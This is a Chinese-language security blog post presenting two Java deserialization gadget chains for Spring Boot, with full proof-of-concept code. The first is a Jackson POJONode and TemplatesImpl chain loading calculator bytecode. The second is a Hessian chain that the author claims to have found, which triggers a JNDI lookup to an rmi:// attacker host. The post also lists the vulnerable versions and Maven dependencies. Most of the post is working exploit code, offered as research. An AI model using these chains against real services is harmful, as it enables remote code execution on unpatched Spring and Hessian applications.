0x00 前言
Spring-Boot框架被广泛应用,所以有必要学习一些与其相关的链子。
0x01 gadget1
流程:
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| package SpringBoot;
import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.node.BaseJsonNode; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.ibatis.javassist.ClassPool; import org.apache.ibatis.javassist.CtClass; import org.apache.ibatis.javassist.CtMethod; import org.springframework.aop.target.HotSwappableTargetSource; import sun.reflect.ReflectionFactory;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Properties;
public class gadget1 { public static void main(String[] args) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(ctMethod); ctClass.toClass();
TemplatesImpl templatesImpl = getTemplatesImpl(); JsonNode jsonNode = new POJONode(templatesImpl); XString xString = new XString("1"); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource("1"); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource("2"); HashMap hashMap = new HashMap(); hashMap.put(hotSwappableTargetSource1, 1); hashMap.put(hotSwappableTargetSource2, 2); setFieldValue(hotSwappableTargetSource1, "target", jsonNode); setFieldValue(hotSwappableTargetSource2, "target", xString); byte[] serialize = serialize(hashMap); deserialize(serialize); }
public static TemplatesImpl getTemplatesImpl() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\Rome\\target\\classes\\Calc.class")); setFieldValue(templates, "_name", "Pax"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{code}); return templates; }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static <T> byte[] serialize(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize(byte[] codes) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return (T) objectInputStream.readObject(); }
}
|
tip:
在最开始,删除了BaseJsonNode的writeReplace方法,不然在序列化时会调用一次BaseJsonNode的toString方法,导致无法生成Payload。
0x02 自己挖的链子
只能打Hessian,因为SimpleJndiBeanFactory没有实现Serializable接口,而Hessian无需该接口便可以实现序列化和反序列化。
调用链:
1 2 3 4 5 6 7 8
| hessian2Input.readObject() -> treeMap.put(in.readObject(), in.readObject()) -> treeMap.compare(key, key) -> (Comparable<? super K>)k1).compareTo((K)k2) -> ObjectFactoryDelegatingInvocationHandler.invoke(Object proxy, Method method, Object[] args) -> TargetBeanObjectFactory.getObject() -> SimpleJndiBeanFactory.getBean(String name) -> JndiTemplate.lookup(final String name)
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import org.springframework.beans.factory.ObjectFactory; import org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean; import org.springframework.jndi.support.SimpleJndiBeanFactory; import sun.reflect.ReflectionFactory;
import java.io.*; import java.lang.reflect.*; import java.util.*;
import static Utils.Utils.*;
public class Gadget { public static void main(String[] args) throws Exception {
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
ObjectFactoryCreatingFactoryBean objectFactoryCreatingFactoryBean = new ObjectFactoryCreatingFactoryBean(); Field beanFactory = Class.forName("org.springframework.beans.factory.config.AbstractFactoryBean").getDeclaredField("beanFactory"); beanFactory.setAccessible(true); beanFactory.set(objectFactoryCreatingFactoryBean, simpleJndiBeanFactory); setFieldValue(objectFactoryCreatingFactoryBean, "targetBeanName", "rmi://xxx.xxx.xxx.xxx:50388/75737f"); Method createInstance = objectFactoryCreatingFactoryBean.getClass().getDeclaredMethod("createInstance"); createInstance.setAccessible(true); ObjectFactory targetBeanObjectFactory = (ObjectFactory) createInstance.invoke(objectFactoryCreatingFactoryBean);
Constructor<?> declaredConstructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class); declaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(targetBeanObjectFactory);
Comparable comparable = (Comparable) Proxy.newProxyInstance(Comparable.class.getClassLoader(), new Class[]{Comparable.class}, invocationHandler);
TreeMap<Object, Object> treeMap = gadgetFromTreeMap(comparable); String s = serialize(treeMap); deserialize(s); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static TreeMap<Object, Object> gadgetFromTreeMap(Object o) throws Exception { TreeMap<Object, Object> treeMap = new TreeMap<>(); treeMap.put(1, 1); Field rootField = TreeMap.class.getDeclaredField("root"); rootField.setAccessible(true); Object rootEntry = rootField.get(treeMap); Field keyField = rootEntry.getClass().getDeclaredField("key"); keyField.setAccessible(true); keyField.set(rootEntry, o); return treeMap; } public static <T> String serialize(T object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static <T> T deserialize(String string) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return (T) hessian2Input.readObject(); } }
|
版本限制:
Hessian最新版本4.0.66,目前通杀
JDK < 8u191 (JNDI限制)
Spring-context < 6.0.0 (6.0.0之后版本对JDK版本有限制)
相关依赖:
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.66</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.39</version> </dependency> </dependencies>
|
0x03 结语
yso给的两条Spring链子就先不看了。说来有趣,我自己挖的那一条还是在刚开始学yso的Spring1时随便翻翻,正好一眼看到lookup方法才开始探索的。